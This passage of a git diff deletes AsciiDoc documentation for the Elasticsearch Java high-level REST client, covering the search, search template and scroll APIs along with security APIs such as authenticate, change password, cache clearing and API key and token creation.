-==== Clear Scroll Response
-
-The returned `ClearScrollResponse` allows to retrieve information about the released
- search contexts:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[clear-scroll-response]
---------------------------------------------------
-<1> Return true if the request succeeded
-<2> Return the number of released search contexts
diff --git a/docs/java-rest/high-level/search/search-template.asciidoc b/docs/java-rest/high-level/search/search-template.asciidoc
deleted file mode 100644
index 3f0dfb8ab28..00000000000
--- a/docs/java-rest/high-level/search/search-template.asciidoc
+++ /dev/null
@@ -1,117 +0,0 @@
-[[java-rest-high-search-template]]
-=== Search Template API
-
-The search template API allows for searches to be executed from a template based
-on the mustache language, and also for previewing rendered templates.
-
-[[java-rest-high-search-template-request]]
-==== Search Template Request
-
-===== Inline Templates
-
-In the most basic form of request, the search template is specified inline:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-template-request-inline]
---------------------------------------------------
-<1> The search is executed against the `posts` index.
-<2> The template defines the structure of the search source. It is passed
-as a string because mustache templates are not always valid JSON.
-<3> Before running the search, the template is rendered with the provided parameters.
-
-===== Registered Templates
-
-Search templates can be registered in advance through stored scripts API. Note that
-the stored scripts API is not yet available in the high-level REST client, so in this
-example we use the low-level REST client.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[register-script]
---------------------------------------------------
-
-Instead of providing an inline script, we can refer to this registered template in the request:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-template-request-stored]
---------------------------------------------------
-
-===== Rendering Templates
-
-Given parameter values, a template can be rendered without executing a search:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[render-search-template-request]
---------------------------------------------------
-<1> Setting `simulate` to `true` causes the search template to only be rendered.
-
-Both inline and pre-registered templates can be rendered.
-
-===== Optional Arguments
-
-As in standard search requests, the `explain` and `profile` options are supported:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-template-request-options]
---------------------------------------------------
-
-===== Additional References
-
-The {ref}/search-template.html[Search Template documentation] contains further examples of how search requests can be templated.
-
-[[java-rest-high-search-template-sync]]
-==== Synchronous Execution
-
-The `searchTemplate` method executes the request synchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-template-execute]
---------------------------------------------------
-
-==== Asynchronous Execution
-
-A search template request can be executed asynchronously through the `searchTemplateAsync`
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-template-execute-async]
---------------------------------------------------
-<1> The `SearchTemplateRequest` to execute and the `ActionListener` to call when the execution completes.
-
-The asynchronous method does not block and returns immediately. Once the request completes, the
-`ActionListener` is called back using the `onResponse` method if the execution completed successfully,
-or using the `onFailure` method if it failed.
-
-A typical listener for `SearchTemplateResponse` is constructed as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-template-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed.
-<2> Called when the whole `SearchTemplateRequest` fails.
-
-==== Search Template Response
-
-For a standard search template request, the response contains a `SearchResponse` object
-with the result of executing the search:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[search-template-response]
---------------------------------------------------
-
-If `simulate` was set to `true` in the request, then the response
-will contain the rendered search source instead of a `SearchResponse`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SearchDocumentationIT.java[render-search-template-response]
---------------------------------------------------
-<1> The rendered source in bytes, in our example `{"query": { "match" : { "title" : "elasticsearch" }}, "size" : 5}`.
diff --git a/docs/java-rest/high-level/search/search.asciidoc b/docs/java-rest/high-level/search/search.asciidoc
deleted file mode 100644
index ea439d7d419..00000000000
--- a/docs/java-rest/high-level/search/search.asciidoc
+++ /dev/null
@@ -1,464 +0,0 @@
---
-:api: search
-:request: SearchRequest
-:response: SearchResponse
---
-
-[id="{upid}-{api}"]
-=== Search API
-
-[id="{upid}-{api}-request"]
-==== Search Request
-
-The +{request}+ is used for any operation that has to do with searching
-documents, aggregations, suggestions and also offers ways of requesting
-highlighting on the resulting documents.
-
-In its most basic form, we can add a query to the request:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-basic]
---------------------------------------------------
-
-<1> Creates the `SearchRequest`. Without arguments this runs against all indices.
-<2> Most search parameters are added to the `SearchSourceBuilder`. It offers setters for everything that goes into the search request body.
-<3> Add a `match_all` query to the `SearchSourceBuilder`.
-<4> Add the `SearchSourceBuilder` to the `SearchRequest`.
-
-[id="{upid}-{api}-request-optional"]
-===== Optional arguments
-
-Let's first look at some of the optional arguments of a +{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indices]
---------------------------------------------------
-<1> Restricts the request to an index
-
-There are a couple of other interesting optional parameters:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-routing]
---------------------------------------------------
-<1> Set a routing parameter
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-preference]
---------------------------------------------------
-<1> Use the preference parameter e.g. to execute the search to prefer local
-shards. The default is to randomize across shards.
-
-===== Using the SearchSourceBuilder
-
-Most options controlling the search behavior can be set on the
-`SearchSourceBuilder`,
-which contains more or less the equivalent of the options in the search request
-body of the Rest API.
-
-Here are a few examples of some common options:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-source-basics]
---------------------------------------------------
-<1> Create a `SearchSourceBuilder` with default options.
-<2> Set the query. Can be any type of `QueryBuilder`
-<3> Set the `from` option that determines the result index to start searching
-from. Defaults to 0.
-<4> Set the `size` option that determines the number of search hits to return.
-Defaults to 10.
-<5> Set an optional timeout that controls how long the search is allowed to
-take.
-
-After this, the `SearchSourceBuilder` only needs to be added to the
-+{request}+:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-source-setter]
---------------------------------------------------
-
-[id="{upid}-{api}-request-building-queries"]
-===== Building queries
-
-Search queries are created using `QueryBuilder` objects. A `QueryBuilder` exists
- for every search query type supported by Elasticsearch's {ref}/query-dsl.html[Query DSL].
-
-A `QueryBuilder` can be created using its constructor:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-query-builder-ctor]
---------------------------------------------------
-<1> Create a full text {ref}/query-dsl-match-query.html[Match Query] that matches
-the text "kimchy" over the field "user".
-
-Once created, the `QueryBuilder` object provides methods to configure the options
-of the search query it creates:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-query-builder-options]
---------------------------------------------------
-<1> Enable fuzzy matching on the match query
-<2> Set the prefix length option on the match query
-<3> Set the max expansion options to control the fuzzy
-    process of the query
-
-`QueryBuilder` objects can also be created using the `QueryBuilders` utility class.
-This class provides helper methods that can be used to create `QueryBuilder` objects
- using a fluent programming style:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-query-builders]
---------------------------------------------------
-
-Whatever the method used to create it, the `QueryBuilder` object must be added
-to the `SearchSourceBuilder` as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-query-setter]
---------------------------------------------------
-
-The <<{upid}-query-builders, Building Queries>> page gives a list of all available search queries with
-their corresponding `QueryBuilder` objects and `QueryBuilders` helper methods.
-
-
-===== Specifying Sorting
-
-The `SearchSourceBuilder` allows to add one or more `SortBuilder` instances. There are four special implementations (Field-, Score-, GeoDistance- and ScriptSortBuilder).
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-source-sorting]
---------------------------------------------------
-<1> Sort descending by `_score` (the default)
-<2> Also sort ascending by `_id` field
-
-===== Source filtering
-
-By default, search requests return the contents of the document `_source` but like in the Rest API you can overwrite this behavior. For example, you can turn off `_source` retrieval completely:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-source-filtering-off]
---------------------------------------------------
-
-The method also accepts an array of one or more wildcard patterns to control which fields get included or excluded in a more fine grained way:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-source-filtering-includes]
---------------------------------------------------
-
-[id="{upid}-{api}-request-highlighting"]
-===== Requesting Highlighting
-
-Highlighting search results can be achieved by setting a `HighlightBuilder` on the
-`SearchSourceBuilder`. Different highlighting behaviour can be defined for each
-fields by adding one or more `HighlightBuilder.Field` instances to a `HighlightBuilder`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-highlighting]
---------------------------------------------------
-<1> Creates a new `HighlightBuilder`
-<2> Create a field highlighter for the `title` field
-<3> Set the field highlighter type
-<4> Add the field highlighter to the highlight builder
-
-There are many options which are explained in detail in the Rest API documentation. The Rest
-API parameters (e.g. `pre_tags`) are usually changed by
-setters with a similar name (e.g. `#preTags(String ...)`).
-
-Highlighted text fragments can <<{upid}-{api}-response-highlighting,later be retrieved>> from the +{response}+.
-
-[id="{upid}-{api}-request-building-aggs"]
-===== Requesting Aggregations
-
-Aggregations can be added to the search by first creating the appropriate
-`AggregationBuilder` and then setting it on the `SearchSourceBuilder`. In the
-following example we create a `terms` aggregation on company names with a
-sub-aggregation on the average age of employees in the company:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-aggregations]
---------------------------------------------------
-
-The <<{upid}-aggregation-builders, Building Aggregations>> page gives a list of all available aggregations with
-their corresponding `AggregationBuilder` objects and `AggregationBuilders` helper methods.
-
-We will later see how to <<{upid}-{api}-response-aggs,access aggregations>> in the +{response}+.
-
-===== Requesting Suggestions
-
-To add Suggestions to the search request, use one of the `SuggestionBuilder` implementations
-that are easily accessible from the `SuggestBuilders` factory class. Suggestion builders
-need to be added to the top level `SuggestBuilder`, which itself can be set on the  `SearchSourceBuilder`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-suggestion]
---------------------------------------------------
-<1> Creates a new `TermSuggestionBuilder` for the `user` field and
-the text `kmichy`
-<2> Adds the suggestion builder and names it `suggest_user`
-
-We will later see how to <<{upid}-{api}-response-suggestions,retrieve suggestions>> from the
-+{response}+.
-
-===== Profiling Queries and Aggregations
-
-The {ref}/search-profile.html[Profile API] can be used to profile the execution of queries and aggregations for
-a specific search request. in order to use it, the profile flag must be set to true on the `SearchSourceBuilder`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-profiling]
---------------------------------------------------
-
-Once the +{request}+ is executed the corresponding +{response}+ will
-<<{upid}-{api}-response-profile,contain the profiling results>>.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== {response}
-
-The +{response}+ that is returned by executing the search provides details
-about the search execution itself as well as access to the documents returned.
-First, there is useful information about the request execution itself, like the
-HTTP status code, execution time or whether the request terminated early or timed
-out:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-1]
---------------------------------------------------
-
-Second, the response also provides information about the execution on the
-shard level by offering statistics about the total number of shards that were
-affected by the search, and the successful vs. unsuccessful shards. Possible
-failures can also be handled by iterating over an array off
-`ShardSearchFailures` like in the following example:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response-2]
---------------------------------------------------
-
-[id="{upid}-{api}-response-search-hits"]
-===== Retrieving SearchHits
-
-To get access to the returned documents, we need to first get the `SearchHits`
-contained in the response:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-hits-get]
---------------------------------------------------
-
-The `SearchHits` provides global information about all hits, like total number
-of hits or the maximum score:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-hits-info]
---------------------------------------------------
-
-Nested inside the `SearchHits` are the individual search results that can
-be iterated over:
-
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-hits-singleHit]
---------------------------------------------------
-
-The `SearchHit` provides access to basic information like index, document ID
-and score of each search hit:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-hits-singleHit-properties]
---------------------------------------------------
-
-Furthermore, it lets you get back the document source, either as a simple
-JSON-String or as a map of key/value pairs. In this map, regular fields
-are keyed by the field name and contain the field value. Multi-valued fields are
-returned as lists of objects, nested objects as another key/value map. These
-cases need to be cast accordingly:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-hits-singleHit-source]
---------------------------------------------------
-
-[id="{upid}-{api}-response-highlighting"]
-===== Retrieving Highlighting
-
-If <<{upid}-{api}-request-highlighting,requested>>, highlighted text fragments can be retrieved from each `SearchHit` in the result. The hit object offers
-access to a map of field names to `HighlightField` instances, each of which contains one
-or many highlighted text fragments:
-
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-highlighting-get]
---------------------------------------------------
-<1> Get the highlighting for the `title` field
-<2> Get one or many fragments containing the highlighted field content
-
-[id="{upid}-{api}-response-aggs"]
-===== Retrieving Aggregations
-
-Aggregations can be retrieved from the +{response}+ by first getting the
-root of the aggregation tree, the `Aggregations` object, and then getting the
-aggregation by name.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-aggregations-get]
---------------------------------------------------
-<1> Get the `by_company` terms aggregation
-<2> Get the buckets that is keyed with `Elastic`
-<3> Get the `average_age` sub-aggregation from that bucket
-
-Note that if you access aggregations by name, you need to specify the
-aggregation interface according to the type of aggregation you requested,
-otherwise a `ClassCastException` will be thrown:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[search-request-aggregations-get-wrongCast]
---------------------------------------------------
-<1> This will throw an exception because "by_company" is a `terms` aggregation
-but we try to retrieve it as a `range` aggregation
-
-It is also possible to access all aggregations as a map that is keyed by the
-aggregation name. In this case, the cast to the proper aggregation interface
-needs to happen explicitly:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-aggregations-asMap]
---------------------------------------------------
-
-There are also getters that return all top level aggregations as a list:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-aggregations-asList]
---------------------------------------------------
-
-And last but not least you can iterate over all aggregations and then e.g.
-decide how to further process them based on their type:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-aggregations-iterator]
---------------------------------------------------
-
-[id="{upid}-{api}-response-suggestions"]
-===== Retrieving Suggestions
-
-To get back the suggestions from a +{response}+, use the `Suggest` object as an entry point and then retrieve the nested suggestion objects:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-suggestion-get]
---------------------------------------------------
-<1> Use the `Suggest` class to access suggestions
-<2> Suggestions can be retrieved by name. You need to assign them to the correct
-type of Suggestion class (here `TermSuggestion`), otherwise a `ClassCastException` is thrown
-<3> Iterate over the suggestion entries
-<4> Iterate over the options in one entry
-
-[id="{upid}-{api}-response-profile"]
-===== Retrieving Profiling Results
-
-Profiling results are retrieved from a +{response}+ using the `getProfileResults()` method. This
- method returns a `Map` containing a `ProfileShardResult` object for every shard involved in the
- +{request}+ execution. `ProfileShardResult` are stored in the `Map` using a key that uniquely
- identifies the shard the profile result corresponds to.
-
-Here is a sample code that shows how to iterate over all the profiling results of every shard:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-profiling-get]
---------------------------------------------------
-<1> Retrieve the `Map` of `ProfileShardResult` from the +{response}+
-<2> Profiling results can be retrieved by shard's key if the key is known, otherwise it might be simpler
- to iterate over all the profiling results
-<3> Retrieve the key that identifies which shard the `ProfileShardResult` belongs to
-<4> Retrieve the `ProfileShardResult` for the given shard
-
-The `ProfileShardResult` object itself contains one or more query profile results, one for each query
-executed against the underlying Lucene index:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-profiling-queries]
---------------------------------------------------
-<1> Retrieve the list of `QueryProfileShardResult`
-<2> Iterate over each `QueryProfileShardResult`
-
-Each `QueryProfileShardResult` gives access to the detailed query tree execution, returned as a list of
-`ProfileResult` objects:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-profiling-queries-results]
---------------------------------------------------
-<1> Iterate over the profile results
-<2> Retrieve the name of the Lucene query
-<3> Retrieve the time in millis spent executing the Lucene query
-<4> Retrieve the profile results for the sub-queries (if any)
-
-The Rest API documentation contains more information about {ref}/search-profile.html#profiling-queries[Profiling Queries] with
-a description of the query profiling information.
-
-The `QueryProfileShardResult` also gives access to the profiling information for the Lucene collectors:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-profiling-queries-collectors]
---------------------------------------------------
-<1> Retrieve the profiling result of the Lucene collector
-<2> Retrieve the name of the Lucene collector
-<3> Retrieve the time in millis spent executing the Lucene collector
-<4> Retrieve the profile results for the sub-collectors (if any)
-
-The Rest API documentation contains more information about profiling information
-for Lucene collectors. See {ref}/search-profile.html#profiling-queries[Profiling queries].
-
-In a very similar manner to the query tree execution, the `QueryProfileShardResult` objects gives access
-to the detailed aggregations tree execution:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-profiling-aggs]
---------------------------------------------------
-<1> Retrieve the `AggregationProfileShardResult`
-<2> Iterate over the aggregation profile results
-<3> Retrieve the type of the aggregation (corresponds to Java class used to execute the aggregation)
-<4> Retrieve the time in millis spent executing the Lucene collector
-<5> Retrieve the profile results for the sub-aggregations (if any)
-
-The Rest API documentation contains more information about
-{ref}/search-profile.html#profiling-aggregations[Profiling aggregations].
diff --git a/docs/java-rest/high-level/security/authenticate.asciidoc b/docs/java-rest/high-level/security/authenticate.asciidoc
deleted file mode 100644
index 0a2feb31cf9..00000000000
--- a/docs/java-rest/high-level/security/authenticate.asciidoc
+++ /dev/null
@@ -1,75 +0,0 @@
-
---
-:api: authenticate
-:response: AuthenticateResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Authenticate API
-
-[id="{upid}-{api}-sync"]
-==== Execution
-
-Authenticating and retrieving information about a user can be performed
-using the `security().authenticate()` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute]
---------------------------------------------------
-
-This method does not require a request object. The client waits for the
-+{response}+ to be returned before continuing with code execution.
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ contains four fields. The `user` field
-, accessed with `getUser`, contains all the information about this
-authenticated user. The field `enabled`, tells if this user is actually
-usable or has been temporarily deactivated. The field `authentication_realm`,
-accessed with `getAuthenticationRealm` contains the name and type of the
-Realm that has authenticated the user and the field `lookup_realm`,
-accessed with `getLookupRealm` contains the name and type of the Realm where
-the user information were retrieved from.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> `getUser` retrieves the `User` instance containing the information,
-see {javadoc-client}/security/user/User.html.
-<2> `enabled` tells if this user is usable or is deactivated.
-<3> `getAuthenticationRealm().getName()` retrieves the name of the realm that authenticated the user.
-<4> `getAuthenticationRealm().getType()` retrieves the type of the realm that authenticated the user.
-<5> `getLookupRealm().getName()` retrieves the name of the realm from where the user information is looked up.
-<6> `getLookupRealm().getType()` retrieves the type of the realm from where the user information is looked up.
-<7> `getAuthenticationType()` retrieves the authentication type of the authenticated user.
-
-[id="{upid}-{api}-async"]
-==== Asynchronous Execution
-
-This request can also be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute-async]
---------------------------------------------------
-<1> The `ActionListener` to use when the execution completes. This method does
-not require a request object.
-
-The asynchronous method does not block and returns immediately. Once the request
-has completed the `ActionListener` is called back using the `onResponse` method
-if the execution completed successfully or using the `onFailure` method if
-it failed.
-
-A typical listener for a +{response}+ looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute-listener]
---------------------------------------------------
-<1> Called when the execution completed successfully. The response is
-provided as an argument.
-<2> Called in case of a failure. The exception is provided as an argument.
-
diff --git a/docs/java-rest/high-level/security/change-password.asciidoc b/docs/java-rest/high-level/security/change-password.asciidoc
deleted file mode 100644
index 6593e810598..00000000000
--- a/docs/java-rest/high-level/security/change-password.asciidoc
+++ /dev/null
@@ -1,46 +0,0 @@
-[role="xpack"]
-[[java-rest-high-security-change-password]]
-=== Change Password API
-
-[[java-rest-high-security-change-password-execution]]
-==== Execution
-
-A user's password can be changed using the `security().changePassword()`
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[change-password-execute]
---------------------------------------------------
-
-[[java-rest-high-change-password-response]]
-==== Response
-
-The returned `Boolean` indicates the request status.
-
-[[java-rest-high-x-pack-security-change-password-async]]
-==== Asynchronous Execution
-
-This request can be executed asynchronously:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[change-password-execute-async]
---------------------------------------------------
-<1> The `ChangePassword` request to execute and the `ActionListener` to use when
-the execution completes.
-
-The asynchronous method does not block and returns immediately. Once the request
-has completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for a `Boolean` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[change-password-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument.
-<2> Called in case of failure. The raised exception is provided as an argument.
diff --git a/docs/java-rest/high-level/security/clear-api-key-cache.asciidoc b/docs/java-rest/high-level/security/clear-api-key-cache.asciidoc
deleted file mode 100644
index 2d680145496..00000000000
--- a/docs/java-rest/high-level/security/clear-api-key-cache.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-
---
-:api: clear-api-key-cache
-:request: ClearApiKeyCacheRequest
-:response: ClearSecurityCacheResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Clear API Key Cache API
-
-[id="{upid}-{api}-request"]
-==== Clear API Key Cache Request
-
-A +{request}+ supports clearing API key cache for the given IDs.
-It can also clear the entire cache if no ID is specified.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> the IDs(s) for the API keys to be evicted from the cache
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Clear API Key Cache Response
-
-The returned +{response}+ allows to retrieve information about where the cache was cleared.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> the list of nodes that the cache was cleared on
diff --git a/docs/java-rest/high-level/security/clear-privileges-cache.asciidoc b/docs/java-rest/high-level/security/clear-privileges-cache.asciidoc
deleted file mode 100644
index 2376c6a5bd8..00000000000
--- a/docs/java-rest/high-level/security/clear-privileges-cache.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
-
---
-:api: clear-privileges-cache
-:request: ClearPrivilegesCacheRequest
-:response: ClearPrivilegesCacheResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Clear Privileges Cache API
-
-[id="{upid}-{api}-request"]
-==== Clear Privileges Cache Request
-
-A +{request}+ supports defining the name of applications that the cache should be cleared for.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> the name of the application(s) for which the cache should be cleared
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Clear Privileges Cache Response
-
-The returned +{response}+ allows to retrieve information about where the cache was cleared.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> the list of nodes that the cache was cleared on
diff --git a/docs/java-rest/high-level/security/clear-realm-cache.asciidoc b/docs/java-rest/high-level/security/clear-realm-cache.asciidoc
deleted file mode 100644
index 41c100e1ec8..00000000000
--- a/docs/java-rest/high-level/security/clear-realm-cache.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
-
---
-:api: clear-realm-cache
-:request: ClearRealmCacheRequest
-:response: ClearRealmCacheResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Clear Realm Cache API
-
-[id="{upid}-{api}-request"]
-==== Clear Realm Cache Request
-
-A +{request}+ supports defining the name of realms and usernames that the cache should be cleared
-for.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Clear Roles Cache Response
-
-The returned +{response}+ allows to retrieve information about where the cache was cleared.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> the list of nodes that the cache was cleared on
diff --git a/docs/java-rest/high-level/security/clear-roles-cache.asciidoc b/docs/java-rest/high-level/security/clear-roles-cache.asciidoc
deleted file mode 100644
index 39e344f6ce9..00000000000
--- a/docs/java-rest/high-level/security/clear-roles-cache.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
-
---
-:api: clear-roles-cache
-:request: ClearRolesCacheRequest
-:response: ClearRolesCacheResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Clear Roles Cache API
-
-[id="{upid}-{api}-request"]
-==== Clear Roles Cache Request
-
-A +{request}+ supports defining the name of roles that the cache should be cleared for.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Clear Roles Cache Response
-
-The returned +{response}+ allows to retrieve information about where the cache was cleared.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> the list of nodes that the cache was cleared on
diff --git a/docs/java-rest/high-level/security/create-api-key.asciidoc b/docs/java-rest/high-level/security/create-api-key.asciidoc
deleted file mode 100644
index 497c0fb35e4..00000000000
--- a/docs/java-rest/high-level/security/create-api-key.asciidoc
+++ /dev/null
@@ -1,40 +0,0 @@
---
-:api: create-api-key
-:request: CreateApiKeyRequest
-:response: CreateApiKeyResponse
---
-[role="xpack"]
-[id="{upid}-{api}"]
-=== Create API Key API
-
-API Key can be created using this API.
-
-[id="{upid}-{api}-request"]
-==== Create API Key Request
-
-A +{request}+ contains an optional name for the API key,
-an optional list of role descriptors to define permissions and
-optional expiration for the generated API key.
-If expiration is not provided then by default the API
-keys do not expire.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Create API Key Response
-
-The returned +{response}+ contains an id,
-API key, name for the API key and optional
-expiration.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> the API key that can be used to authenticate to Elasticsearch.
-<2> expiration if the API keys expire
diff --git a/docs/java-rest/high-level/security/create-token.asciidoc b/docs/java-rest/high-level/security/create-token.asciidoc
deleted file mode 100644
index d911c747a13..00000000000
--- a/docs/java-rest/high-level/security/create-token.asciidoc
+++ /dev/null
@@ -1,86 +0,0 @@
-[role="xpack"]
-[[java-rest-high-security-create-token]]
-=== Create Token API
-
-[[java-rest-high-security-create-token-request]]
-==== Request
-The `CreateTokenRequest` supports three different OAuth2 _grant types_:
-
-===== Password Grants
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/SecurityDocumentationIT.java[create-token-password-request]
---------------------------------------------------
-
-===== Refresh Token Grants
